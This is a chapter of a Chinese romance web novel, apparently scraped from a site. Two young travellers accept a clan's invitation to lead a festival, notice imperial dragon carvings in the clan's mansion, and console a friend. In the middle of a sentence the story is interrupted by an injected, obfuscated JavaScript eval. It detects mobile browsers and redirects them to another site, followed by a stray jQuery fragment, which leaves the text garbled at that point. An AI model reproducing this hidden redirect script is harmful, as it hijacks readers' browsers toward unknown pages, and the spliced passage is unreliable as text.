23. 第二十三章

作品:《疯批摄政王装乖掉马后

    柳棹歌站定,望着她。


    就这样,一直看着她不说话。


    盯久了,越兰溪被看得有些不自在,眼珠乱转。


    她不敢看柳棹歌,因为这是她第一次见他面无表情。


    不会生气了吧?


    不想和他拜把子?不应该吧。


    柳棹歌盯着眼前的少女,发髻是他一早帮她梳的,簪着几朵杏黄色的野花,衬得整个人明媚外放。


    “兰溪认为夫妻是什么?”


    越兰溪被问住了,她对夫妻的关系界限模糊,按照她的观念,兄弟可以是夫妻,夫妻可以是兄弟,兄弟能做的事夫妻也能做,夫妻能做的事,她也可以和兄弟做,反正都是陪着一起玩嘛。


    “兰溪你瞧。”


    越兰溪顺着柳棹歌指着的方向看去,是一对普通的农家夫妇,男子在田间耕作挖地,妇人则在一旁拾捡野菜甘薯,偶尔将水袋递在男人嘴边,拿出布帕擦拭男子脸上的汗。


    男子憨笑着将水袋接过,洋洋洒洒喝了一大口,又递给妇人。


    看似很平常的举动,可男子的眼神却没有离开妇人半步,明晃晃的爱意。


    “瞧什么?”


    柳棹歌泄气一笑,主动牵住越兰溪的手:“没什么?我们走吧。”


    其实,他也不知道什么才叫做夫妻。


    瞧着他的脸色,好像方才沉脸的不是他,越兰溪纳闷,他不想和她做兄弟吗?唉,痛失一名仁兄。


    又绕了几个圈,他们来到了完全陌生的一个地方,这不是在村子中,而是像一座精致的宅院,


    正门、殿寝均覆着绿色琉璃瓦,脊安吻兽,门柱涂红色,饰以五彩金云龙纹,雕刻着龙首。


    进入正殿,族长便从椅子上站起来,走出来迎过他们。


    “住得可还习惯,山中简陋,怠慢了二位贵客。”


    开口是一阵寒暄,柳棹歌稍稍应付着,越兰溪却喜欢看门见山,坐上椅子:“族长,有什么事情就说吧,咱不玩那些弯弯绕绕的。”


    “诶,好好好。”


    族长没有坐在主位上,而是落坐于东侧第一张椅子,高声朗笑:“你个小女娃,性子率直,我喜欢。”


    “我也不多说了,请你们过来主要是想要邀请你们参加两日后的杀亚日。”


    “杀亚日,是我们族人自从搬进山中之后,为了祭奠先灵设置的节日,每年都是由我主持。”


    “可能今年这位公子和我们有缘吧,见少侠容貌肖似我们衣族的先辈,想要邀请少侠两日后为我们衣族主持大典,可好?”


    族长说完,带着询问,屏息凝神等待柳棹歌的回复。


    “为什么?”越兰溪问。


    “啊?”突然来个问什么,问懵了族长。


    “我的意思是,为什么选他?因为样貌吗?”越兰溪承认柳棹歌的样貌数一数二,但是她也不差啊。


    “我不好看吗?”越兰溪问柳棹歌。


    “好看,兰溪最好看。”他薄唇微扬,笑意温软如絮。


    族长见两个小年轻你侬我侬,吃酸笑道:“姑娘能来自然是最好,方才我正想邀请姑娘,担心姑娘不愿劳累,因此才迟迟未问姑娘,见谅,见谅。”


    越兰溪这才满意:“好吧。那我们要学什么吗?”


    “稍后,我会安排人来教二位少侠,到时候需要舞一段剑,之后就没有了,只需要站在台上向台下的族人打招呼就可以了。”


    “行。”


    “那就多谢二位了!”族长站起身感谢。


    “要是有任何需要,派人到正堂去说便是,不必拘礼。”


    “这里我可以逛逛吗?”越兰溪是一个想要什么就说什么的人。


    果然,见族长表情凝滞一瞬后,又点头:“当然可以,只是宅子已经好多年未修建过了,二位逛时小心些便是,不要碰到朽坏的物件就行。”


    “多谢。”越兰溪抱拳道谢后,走在前头。


    身后的柳棹歌和族长对视一眼,轻轻颔首,跟在越兰溪身后。


    绕着院子逛了两圈,除了豪华与大之外,没有什么特别之处。


    柳棹歌眼中闪烁,心中零零散散有了个大概,问越兰溪:“兰溪为何如此果断接下这个差事?”


    越兰溪转头瞅了一眼他:“你看那是什么?”


    那是他们方才进门时看见的廊道,廊道左侧是一道石墙,上面雕刻着精致秀美的壁画,其中,最惹人瞩目的无疑是中间那条惟妙惟肖的巨蟒,栩栩如生,美轮美奂。


    “一副普通的壁画。”


    “啧,说你笨你还不信。”越兰溪吐槽,她靠近柳棹歌,几乎已经在他怀中了,却丝毫不觉,反而举起手,指着蟒的爪子。


    “那不是蟒。”越兰溪害怕隔墙有耳,特意压低声线。


    柳棹歌故作蹙眉,头向着越兰溪的位置倾斜,轻声道:“兰溪方才说了什么?”


    她叹口气,环视四周,确定身后跟着他们的尾巴听不见他们之间的说话之后,才贴近柳棹歌的耳朵。


    待她俯身,气息交织间,他心底得意的笑意翻涌,喉间的笑意险些溢出,却转瞬敛去,只睁着一清亮的眸子望她,眉眼弯弯。


    “那是五爪。”


    “且方才我们进门,那龙纹旁雕刻着龙头。”


    “宅院格局也不是普通大宅院,五进三出,前堂后寝,左尊右卑。”


    越兰溪表情严肃:“我觉得我们发现了什么不得了的东西。”


    这规格居然比她的还有大。


    柳棹歌装作恍然大悟,几乎与她脸对脸:“那我们跑吗?”


    越兰溪见他神情认真,被逗笑,极为豪情地拍上他的肩头:“放心,不就是和皇帝夺江山嘛,有我在。我看此处也无甚兵力防布,想必也掀不出多大的浪来。”


    “夺,江,山。这里的主人想来生前也是智计无双的英豪,也不知和我相比如何?”


    她手一背,一个人自话自言。


    “走,吃饭,太阳都到头顶了,你肚子没叫吗?”


    谈论起吃食,方才眉眼间的愁云全部都散开了,还指指柳棹歌的肚子,挑眉笑。


    “兰溪一说,还真有些锇了。”


    沿着小径,他们走出大门,身后一直跟着他们的人见状,跑回去回禀。


    “回族长,两位少侠已经出宅院了。”


    族长伏案正在写着什么,闻言并没有抬头,而是沉声问道:“他们在宅院中做了些什么?”


    “并没有做什么,只是像观赏一般,四处瞧了瞧看了看。毕竟都是些没有什么见识的人,突然见到我们如此豪华的宅院多多少少都会被迷住的。”下人讨好道。


    族长沉吟片刻:“叫衣万去教他们俩人跳剑舞,务必要教会。祭典不能出岔子。”


    “是。”


    走过林间小径,重新回到部落的村庄,一群小孩正在拿着剑做进攻姿态。很明显,那是两个队伍,一个队伍的剑柄挂着红绳,另外一个队伍的剑柄挂着蓝绳。


    “投降吧,周贼。”红队伍的头头嘴边用炭灰画上一圈黑色,应是扮的胡须,对着对面阵营大喊。


    局势明朗,不一会儿,红绳子队伍已经擒获对面三人,且有一人弃武器跑了。


    “我娘叫我回去吃饭了。”


    蓝绳子的头头不服,摔掉木剑,声音拔高


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885543|190359||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    几分,带着浓浓的鼻音反驳:“我不要当周贼,我也要当裴家军!”


    画着胡子的小女孩别过脸,下巴微微扬起,语气又冲又犟:“决石子是你自己决输了,又不怪我。你要想当,大不了下一会咯,回去多练练决石子。”


    后又做了个鬼脸,嘲笑耍赖的男孩,气得男孩哇哇大哭后,又跑掉了。


    “扑哧——”越兰溪忍俊不禁,果然是小孩子,太好玩了。


    柳棹歌见她这么开心,问道:“兰溪喜欢小孩?”


    “哈哈哈哈,你不觉得好好玩儿吗?”越兰溪自小便有小孩儿缘,也是小孩子头头,漆雾山中的孩子,没有不和她玩得好的。


    柳棹歌若有所思地点点头。


    路过村社,门前有一大片花圃,那是越兰溪从来没见到过的花,荷粉色的花瓣,花托是胭脂红,小小的一朵挤满了整个花圃。为长开的花骨朵呈碗状,依偎在花朵身旁。


    “这是什么花啊,我从未见过。”越兰溪问。


    柳棹歌对此知之甚少,摇头。


    路过的村民听见,大声道:“这叫芙蓉花,是不是很好看?”


    芙蓉花?她见过的芙蓉花不长这个样子啊,难道是别名?


    柳棹歌问:“兰溪想要吗?”


    看见越兰溪一直盯着花圃中的花,柳棹歌作势要去摘,被越兰溪止住动作。


    “诶诶,算了,种在花圃中的花还是别摘了。”


    “为什么?兰溪不喜欢吗?”


    越兰溪笑出声:“喜欢,我喜欢的东西多了去了,难道你都要给我吗?”


    “当然可以。”柳棹歌毫不迟疑。


    你想要的,我都会给你抢来。


    “算了算了,我锇了,现在只想吃饭。”


    柳棹歌颔首应着,语气软糯得不像话:“那我们走吧。”


    重新回到正堂,蒋小乙却不见了,只有方洄独自坐在凳子上,暗自神伤。


    “方洄,你怎么了?是不是蒋小乙欺负你了?我现在就去揍他。”越兰溪最唾弃欺负女人的男子,恨不得将他们打得满地找牙。


    “没有,他没有欺负我,是我做的不够好。”方洄拉住越兰溪的胳膊焦急道。


    “真的吗?”越兰溪仔细观察她的面色。


    “真的,是我做得不好,惹他生气了。”


    “管他干什么?我们不理他,他就是个混小子,咱别在意他啊。”越兰溪环抱住方洄的肩膀,安慰道。


    他倚在廊下,指尖无意识摩挲指根,目光落在不远处相拥的两人身上,眼底温度骤然降至冰点,戾气如藤曼般蔓延疯长,几乎要冲破胸膛。


    可是转瞬见,他便敛去所有情绪,唇角甚至勾起一抹浅淡的笑意,缓步上前,露出乖巧无害的模样,轻声唤道:“兰溪,我们去吃饭吧。”


    方洄收回啜泣声:“你们还没吃饭吗?先去点东西吧,不用管我,我一个人缓缓就行,想通后就好了。”


    “好,你有什么事情都可以和我说啊,要是蒋小乙欺负你,我一定把他打得找不到北!”越兰溪咬紧牙根,恨恨道。


    艳阳高照,一旁的人众说纷纭。


    方洄忽然感到脊背发凉,浑身发冷。


    她莫名生出一种感觉,像是被雾气笼罩,整个人喘不过气来。


    “怎么了?”越兰溪握住她的手。


    方洄不知道,她四下环顾,根本没有人望她们这边看,但是为何有一种一直被人盯着的错觉。那道目光像是被针刺,不由自主地冒冷汗。


    阳光格外刺眼,门外倚着柳棹歌,春风和煦,见方洄望向他,浅颔回应。


    这么回事?方洄揉眉心。